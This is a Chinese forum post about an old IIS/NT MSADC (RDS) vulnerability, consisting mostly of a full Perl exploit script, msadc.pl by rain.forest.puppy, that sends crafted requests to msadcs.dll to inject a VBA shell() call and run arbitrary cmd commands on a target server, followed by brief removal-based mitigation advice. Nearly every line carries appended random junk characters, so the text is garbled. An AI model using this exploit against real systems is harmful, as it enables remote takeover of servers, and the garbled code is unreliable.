社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168386阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) C>MEgGP  
rDD,eNjG  
涉及程序: '5f6 M^}|2  
Microsoft NT server 7o99@K,  
N=vb*3ECg  
描述: _nn\O3TB  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 U8>M`e"D  
'joc8o sS  
详细: s7789pR  
如果你没有时间读详细内容的话,就删除: ]ChGi[B~9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~;QzV?%  
有关的安全问题就没有了。 ='[J.  
C"gH>G  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 e I^Q!b8n  
aAi "  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 .='hYe.  
关于利用ODBC远程漏洞的描述,请参看: 17C"@1n-  
*"HA=-Z;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =>0 G  
]lgI Q;r  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 eoGGWW@[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y@'~fI!E4  
K^yZfpa8  
这里不再论述。 `pJWZ:3  
&OXWD]5$6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ExW3LM9(  
37U2Tb!y '  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset vNn$dc  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &UextGk7  
2@jlF!zC  
0kiV-yc   
#将下面这段保存为txt文件,然后: "perl -x 文件名" {0IC2jE  
v-MrurQ4  
#!perl kKHGcm^r  
# )zMsKfQ  
# MSADC/RDS 'usage' (aka exploit) script $%Kyz\;7/  
# fnJ!~b*qo  
# by rain.forest.puppy "b6ew2\  
# 7.!`c-8 u  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ln&9WF\I  
# beta test and find errors! xU(yc}vw,  
MVYf-'\^  
use Socket; use Getopt::Std; WvVf+| Km  
getopts("e:vd:h:XR", \%args); `U6bI`l  
[ }1+=Ub  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; yrCY-'%  
Dxx`<=&g  
if (!defined $args{h} && !defined $args{R}) { cpJ(77e  
print qq~ ?]Wg{\NC6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } T!3_Q/~^r  
-h <host> = host you want to scan (ip or domain) =L F9im  
-d <seconds> = delay between calls, default 1 second  +}-Ecr  
-X = dump Index Server path table, if available ,2/y(JX}*!  
-v = verbose _ rIFwT1]  
-e = external dictionary file for step 5 \|< 5zL  
#$*l#j"#A  
Or a -R will resume a command session j%TcW!D-_  
QBwgI>zfS"  
~; exit;} Ip&Q'"HYj  
lr-:o@q{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; /2jw]ekQ'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Y?b4* me  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0<4Sw j3s7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); m! H7;S-(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} #>[5NQ;$'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !tckE\ h#N  
2[e^mm&.   
if (!defined $args{R}){ $ret = &has_msadc; ge@KopZ&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g0M9v]c  
G&f~A;'7k  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" pU)g93  
. "cmd /c "; dxwH C\"5  
$in=<STDIN>; chomp $in; 15L0B5(3  
$command="cmd /c " . $in ; Qf<@ :T*  
Im0#_ \  
if (defined $args{R}) {&load; exit;} ~K-_]*[x  
Lr;PESV  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  $% 5f  
&try_btcustmr; <-%OXEG  
 uZA^o  
print "\nStep 2: Trying to make our own DSN..."; Zyx92z9Y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }ki}J>j|f  
!5escR!\D  
print "\nStep 3: Trying known DSNs..."; n>["h2  
&known_dsn; v<SCh)[-p  
@b,&b6V  
print "\nStep 4: Trying known .mdbs..."; tMQz'3,X  
&known_mdb; Qk_` IlSd  
$Afw]F$  
if (defined $args{e}){ [tEHr  
print "\nStep 5: Trying dictionary of DSN names..."; e|&}{JP{[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #Emz9qTsce  
o7B }~;L  
print "Sorry Charley...maybe next time?\n"; @*{sj`AS '  
exit; F>!gwmn~  
]%8f-_fSy  
############################################################################## ;;cPt44s  
qZ79IX'y  
sub sendraw { # ripped and modded from whisker !(L\X'jH  
sleep($delay); # it's a DoS on the server! At least on mine... ulzQ[?OMl  
my ($pstr)=@_; (RtjD`e}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y\pRk6,  
die("Socket problems\n"); z')zV oW,  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,*}5xpX  
select(S); $|=1; SF#Rc>v  
print $pstr; my @in=<S>; UvPD/qu$8D  
select(STDOUT); close(S); 'CkN  
return @in; 28rC>*+z  
} else { die("Can't connect...\n"); }} |DZ3=eWZ  
w6w'Jx  
############################################################################## F A#?+kd  
! !9l@  
sub make_header { # make the HTTP request V`;$Ua;y  
my $msadc=<<EOT Ml Bw=Nr  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7=gv4arRwt  
User-Agent: ACTIVEDATA rt5eN:'qY  
Host: $ip wWU5]v  
Content-Length: $clen RX DPT  
Connection: Keep-Alive fvUD'sx  
C"=^ (HU  
ADCClientVersion:01.06 xU5+"t~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *[MK{m  
!o k6*m  
--!ADM!ROX!YOUR!WORLD! :a#p zEK  
Content-Type: application/x-varg u|'}a3  
Content-Length: $reqlen *w[\(d'T  
J|D$  
EOT ^& R H]q  
; $msadc=~s/\n/\r\n/g; "BAH=ul5E  
return $msadc;} V7qc9Gd@I  
QxjX:O  
############################################################################## nR()ei^X  
[=xJh?*P  
sub make_req { # make the RDS request qauZ-Qoc9  
my ($switch, $p1, $p2)=@_; QaMB=wVr  
my $req=""; my $t1, $t2, $query, $dsn; AHA4{Zu[  
{g7[3WRy  
if ($switch==1){ # this is the btcustmr.mdb query D]UqM<0Rz  
$query="Select * from Customers where City=" . make_shell(); dU4G!  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . D" 4*&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} k5=VH5{S  
V;V,G+0Re  
elsif ($switch==2){ # this is general make table query OSsxO(;g  
$query="create table AZZ (B int, C varchar(10))"; S ;; Z  
$dsn="$p1";} 8% ;K#,>  
O^AF+c\n  
elsif ($switch==3){ # this is general exploit table query az=(6PX  
$query="select * from AZZ where C=" . make_shell(); U.[?1:v  
$dsn="$p1";} er[%Nt+99  
V>2mz c  
elsif ($switch==4){ # attempt to hork file info from index server 0B;cQSH!q  
$query="select path from scope()"; s, 8a1o  
$dsn="Provider=MSIDXS;";} G\U'_G>  
Qf}^x9'  
elsif ($switch==5){ # bad query (^Q:zU  
$query="select"; 3hrODts  
$dsn="$p1";} rq.S0bzH  
W"@FRWcd  
$t1= make_unicode($query); MGmUgc  
$t2= make_unicode($dsn); N%,!&\L  
$req = "\x02\x00\x03\x00"; 5}/TB_W7j  
$req.= "\x08\x00" . pack ("S1", length($t1)); vj23j[!|  
$req.= "\x00\x00" . $t1 ; |4F 3Gu  
$req.= "\x08\x00" . pack ("S1", length($t2)); kK]^q|vb6  
$req.= "\x00\x00" . $t2 ; # XD-a  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; d5x>kO'[l  
return $req;} 'xC83}!k  
:gNTQZR  
############################################################################## /W6r{Et  
b(Ev:  
sub make_shell { # this makes the shell() statement 3/w) mY-o  
return "'|shell(\"$command\")|'";} RNJUA^{  
f#W5Nu'*!  
############################################################################## mu1Lgs$;  
8>}^W  
sub make_unicode { # quick little function to convert to unicode s] X]jfA.  
my ($in)=@_; my $out; *vss  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } r95l.v  
return $out;} "^~>aVuXf  
Pc*+QtQ  
############################################################################## bLfbzkNV\1  
"F*'UfOwrZ  
sub rdo_success { # checks for RDO return success (this is kludge) XU}|Ud562  
my (@in) = @_; my $base=content_start(@in); UBUZ}ZIbN  
if($in[$base]=~/multipart\/mixed/){  pzMli ^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} y'9 bs  
return 0;} & m'ttUG?  
?d -$lI  
############################################################################## dtdz!'q)Y  
~\ 9bh6%R  
sub make_dsn { # this makes a DSN for us l&z)Q/>?pZ  
my @drives=("c","d","e","f"); D&xb tJd  
print "\nMaking DSN: "; nj7wc9z4  
foreach $drive (@drives) { "SuBtoK  
print "$drive: "; -n-rKN.T  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ;!CYp; _  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" DJtKLG0  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;(kU:b|j  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; l+>&-lX'  
return 0 if $2 eq "404"; # not found/doesn't exist ?T\m V}  
if($2 eq "200") { l"\W]'T:r  
foreach $line (@results) { 0#}@- e  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} X:*Ut3"  
} return 0;} u= |hRTD=  
}<EA)se"  
############################################################################## s ^/<6kwO  
y<G@7?   
sub verify_exists { rsp?N{e  
my ($page)=@_; 2EeWcTBU}.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); QPi]5z?  
return $results[0];} :(,Eq?  
axl!zu*  
############################################################################## CL^MIcq?  
FuZ7xM,  
sub try_btcustmr { 4s!rrDN  
my @drives=("c","d","e","f"); # !?5^O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |/?)u$U<  
rKDMIECrm  
foreach $dir (@dirs) { >qJRpO  
print "$dir -> "; # fun status so you can see progress !cs +tm3  
foreach $drive (@drives) { m,e @bJ-  
print "$drive: "; # ditto !!=%ty  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *{]9e\DF  
$reqlenlen=length( "$reqlen" ); p7"o:YSQ  
$clen= 206 + $reqlenlen + $reqlen; \(lt [=  
lg0iNc!  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); C ^@~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} QY<{S&k9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} gJNp]I2R  
kq[*q-:"x  
############################################################################## hCX}*  
W*q[f!@  
sub odbc_error { [TPr  
my (@in)=@_; my $base; (ia(y(=C  
my $base = content_start(@in); %bnDxCj"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this '"H'#%RU  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; QD0upYG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y&O<A8=8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I9ga8mG4-'  
return $in[$base+4].$in[$base+5].$in[$base+6];} XD5z+/F<"0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "+js7U-  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -f.<s!a  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Tc6H%itV  
PrIS L[@  
############################################################################## !b"#`O%`  
E%M~:JuKd?  
sub verbose { cH()Ze-B  
my ($in)=@_; yfS`g-j{~  
return if !$verbose; jXO*_R  
print STDOUT "\n$in\n";} &~+lXNXF  
1.]Py"@:  
############################################################################## $/%|0tQ  
jUq^$+N  
sub save { 2\ /(!n  
my ($p1, $p2, $p3, $p4)=@_; =N,Mmz%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; So*Q8`"-.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; klG]PUzd  
close OUT;} A*BIudli  
I=VPw5"E  
############################################################################## JJ3(0 +  
}LNpr  
sub load { #msXAy$N3r  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; f i-E_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); r'/7kF- 5  
@p=<IN>; close(IN); !2WRxM  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ~_P,z?  
$target= inet_aton($ip) || die("inet_aton problems"); 7FMg6z8~  
print "Resuming to $ip ..."; '&5A*X]d  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; qby!  
if($p[1]==1) { mnM#NT5]  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 8t!/O p ?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )TxAhaz+  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~Dw.3P:-  
if (rdo_success(@results)){print "Success!\n";} CUB=T]  
else { print "failed\n"; verbose(odbc_error(@results));}} pHlw&8(f"  
elsif ($p[1]==3){ Nhv~f0  
if(run_query("$p[3]")){ 7p&%0'BO1z  
print "Success!\n";} else { print "failed\n"; }} zE +)oQ,  
elsif ($p[1]==4){ (!Q^.C_m  
if(run_query($drvst . "$p[3]")){ ~A+D H  
print "Success!\n"; } else { print "failed\n"; }} m!s/L,iJJ  
exit;} bWK}oYB*  
l6.z-Qw  
############################################################################## }"j7Qy)cs  
A-vK0l+  
sub create_table { |q5R5 mQ  
my ($in)=@_; mh>)N"  
$reqlen=length( make_req(2,$in,"") ) - 28; 5V\\w~&/  
$reqlenlen=length( "$reqlen" ); 2HBYReQ  
$clen= 206 + $reqlenlen + $reqlen; 9u/"bj  
my @results=sendraw(make_header() . make_req(2,$in,"")); r5z_{g  
return 1 if rdo_success(@results); %N@454enH  
my $temp= odbc_error(@results); verbose($temp); 8V%(SV  
return 1 if $temp=~/Table 'AZZ' already exists/; c *(]pM  
return 0;} +Sk;  
Dh0`t@  
############################################################################## az~4sx$+}  
XM$r,}B k  
sub known_dsn { k 41lw^Jh  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go UUy|/z%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", }3cOZd_,t  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _"%ef"oPh  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); yw`xK2(C$  
|HXI4 MU"  
foreach $dSn (@dsns) { X62h7?'Pd  
print "."; F.mS,W]  
next if (!is_access("DSN=$dSn")); 8moX"w\~_h  
if(create_table("DSN=$dSn")){ [)|P-x-<  
print "$dSn successful\n"; |a#4  
if(run_query("DSN=$dSn")){ s`ly#+!.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p`-`(i=iJo  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }zi:nSpON  
EoqUFa,  
############################################################################## =h^cfyj  
JK.lL]<p i  
sub is_access { Q*mzfsgr  
my ($in)=@_; q bb:)>  
$reqlen=length( make_req(5,$in,"") ) - 28; wE:hl  
$reqlenlen=length( "$reqlen" ); ig^9lM'  
$clen= 206 + $reqlenlen + $reqlen; y\b.0-z  
my @results=sendraw(make_header() . make_req(5,$in,"")); QIVpO /@  
my $temp= odbc_error(@results); Fn*clx<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l?v-9l M  
return 0;} ,9gyHQ~  
Fxy-_%a  
############################################################################## g5/%}8[- 2  
|*"uj  
sub run_query { k6-Q3W[+a  
my ($in)=@_; vRYQ4B4o  
$reqlen=length( make_req(3,$in,"") ) - 28; Yw<K!'C  
$reqlenlen=length( "$reqlen" ); pc<")9U%/  
$clen= 206 + $reqlenlen + $reqlen; WK]SHiHD  
my @results=sendraw(make_header() . make_req(3,$in,"")); >I Aw Nr  
return 1 if rdo_success(@results); #q40  >)]  
my $temp= odbc_error(@results); verbose($temp); ?"\`u;  
return 0;} v bzeabm  
?J,hv'L]  
############################################################################## &yv%"BPV  
-XIjol(  
sub known_mdb { @yPa9Ug(V  
my @drives=("c","d","e","f","g"); Ia$&SS)K  
my @dirs=("winnt","winnt35","winnt351","win","windows"); g4 _DEBh  
my $dir, $drive, $mdb; ,#rl"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 703=.xj  
i/R8Gb  
# this is sparse, because I don't know of many O/$pT%D1x  
my @sysmdbs=( "\\catroot\\icatalog.mdb", f m.-*`ax  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", M0DdrL/ L  
"\\system32\\certmdb.mdb", utKtxLX"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 'x BBQP  
{`BC$V  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9'C kV[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", iPX6 r4-  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", JzMPLmgG/  
"\\cfusion\\cfapps\\security\\realm_.mdb", Udv5Y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", f sAgXv  
"\\cfusion\\database\\cfexamples.mdb", QN:gSS{30  
"\\cfusion\\database\\cfsnippets.mdb", Ks:~Z9r}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", >up'`K,  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1iEZ9J?  
"\\cfusion\\brighttiger\\database\\cleam.mdb", A"FlH:Pn  
"\\cfusion\\database\\smpolicy.mdb", #bgW{&_ y  
"\\cfusion\\database\cypress.mdb", 1$e z}k,  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 48Y5ppcS  
"\\website\\cgi-win\\dbsample.mdb", "*|plB  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", w35r\x +  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {X<mr~  
); #these are just 7F.t>$'  
foreach $drive (@drives) { U8kH'OD  
foreach $dir (@dirs){ _In[Z?P}  
foreach $mdb (@sysmdbs) { 6?Ul)'  
print "."; C#[YDcp4  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ o1='Fr  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ZvEcExA-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #+p30?r0y  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; x&7% U  
} else { print "Something's borked. Use verbose next time\n"; }}}}} LS@[O])$'  
9B")/Hz_  
foreach $drive (@drives) { qN}kDT  
foreach $mdb (@mdbs) { ~>zml1aJ6  
print "."; G^]T  
if(create_table($drv . $drive . $dir . $mdb)){ +,<\LIP  
print "\n" . $drive . $dir . $mdb . " successful\n"; w~@.&  
if(run_query($drv . $drive . $dir . $mdb)){ 3/mVdU?U  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; o-2FGM`*VB  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4 F~e3  
} ]YYjXg}%  
(-Rh%ZHH  
############################################################################## ^^QW<  
N#'+p5|>  
sub hork_idx { |&+g,A _w  
print "\nAttempting to dump Index Server tables...\n"; (qT_4b~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; pe=Ou0  
$reqlen=length( make_req(4,"","") ) - 28; Yf >SV #  
$reqlenlen=length( "$reqlen" ); Bt4 X  
$clen= 206 + $reqlenlen + $reqlen; J"'2zg1&  
my @results=sendraw2(make_header() . make_req(4,"","")); [?VYxX@  
if (rdo_success(@results)){ ;xaOve;9  
my $max=@results; my $c; my %d; [vb>5EhL!  
for($c=19; $c<$max; $c++){ /*s:ehj  
$results[$c]=~s/\x00//g; p% ESp&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; "| w..%Wc  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0o2o]{rM{2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; `'9Kj9}   
$d{"$1$2"}="";} sL|lfc'bB  
foreach $c (keys %d){ print "$c\n"; } wP3_RA]z  
} else {print "Index server doesn't seem to be installed.\n"; }} ei'=%r8~  
(lF;c<69  
##############################################################################  0 (jb19  
2)]C'  
sub dsn_dict { x"h0Fe?J  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); :" Q!Q@>  
while(<IN>){ *f|9A/*B3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; }r^@Xh  
next if (!is_access("DSN=$dSn")); YgiwtZ5FY  
if(create_table("DSN=$dSn")){ o.U$\9MNP  
print "$dSn successful\n"; 4} uX[~e&  
if(run_query("DSN=$dSn")){ #=/eu=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Y, K): ~T  
print "Something's borked. Use verbose next time\n";}}} ^/\OS@CT\  
print "\n"; close(IN);} px5~D(N  
9{@#tx  
############################################################################## ;m$F~!Y  
=t1.j=oC  
sub sendraw2 { # ripped and modded from whisker d (]t}  
sleep($delay); # it's a DoS on the server! At least on mine... un0t zz  
my ($pstr)=@_; }Zu2GU$6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (yQ]n91Q,  
die("Socket problems\n"); 7qSlqA<Hs  
if(connect(S,pack "SnA4x8",2,80,$target)){ Dt?O_Bdv[  
print "Connected. Getting data"; 2xRb$QF  
open(OUT,">raw.out"); my @in; Okm&b g  
select(S); $|=1; print $pstr; ?PORPv#  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %:^,7 .H@  
close(OUT); select(STDOUT); close(S); return @in; INSI$tA~  
} else { die("Can't connect...\n"); }} v<iMlOEt  
>ijFQ667>j  
############################################################################## %||}WT-wv  
?z0f5<dL  
sub content_start { # this will take in the server headers `C"Slz::  
my (@in)=@_; my $c; 32jOs|<\  
for ($c=1;$c<500;$c++) { Rro|P_  
if($in[$c] =~/^\x0d\x0a/){ 3nv7Uz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @>f]0,"(  
else { return $c+1; }}} )\_xB_K\  
return -1;} # it should never get here actually yA_;\\  
9i@AOU  
############################################################################## -e7|DXj  
Knsb`1"E^6  
sub funky { ^c{}G<U^  
my (@in)=@_; my $error=odbc_error(@in); Pm; /Ua  
if($error=~/ADO could not find the specified provider/){ 5(bG  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; qQN&uBQ[  
exit;} eIc~J!?<&V  
if($error=~/A Handler is required/){ {H s" "/sb  
print "\nServer has custom handler filters (they most likely are patched)\n"; dgPJte%i  
exit;} ]4SnOSV?S  
if($error=~/specified Handler has denied Access/){ P{mV  
print "\nServer has custom handler filters (they most likely are patched)\n"; wm0vqY+N$  
exit;}} WL-+;h@VQ  
;AKtb S;H  
############################################################################## pv039~Sud  
q]q(zUtU  
sub has_msadc { jfF,:(P%W  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @<Au|l`  
my $base=content_start(@results); vc o/h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); I!lzOg4~  
return 0;}  SzkF-yRd  
s`F v!  
######################## lM Gz"cym  
J411bIxD+q  
o+{}O_r  
解决方案: 3=~"<f l  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -H~g+i*J  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WpC@ nz?  
[bkMl+:/HG  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五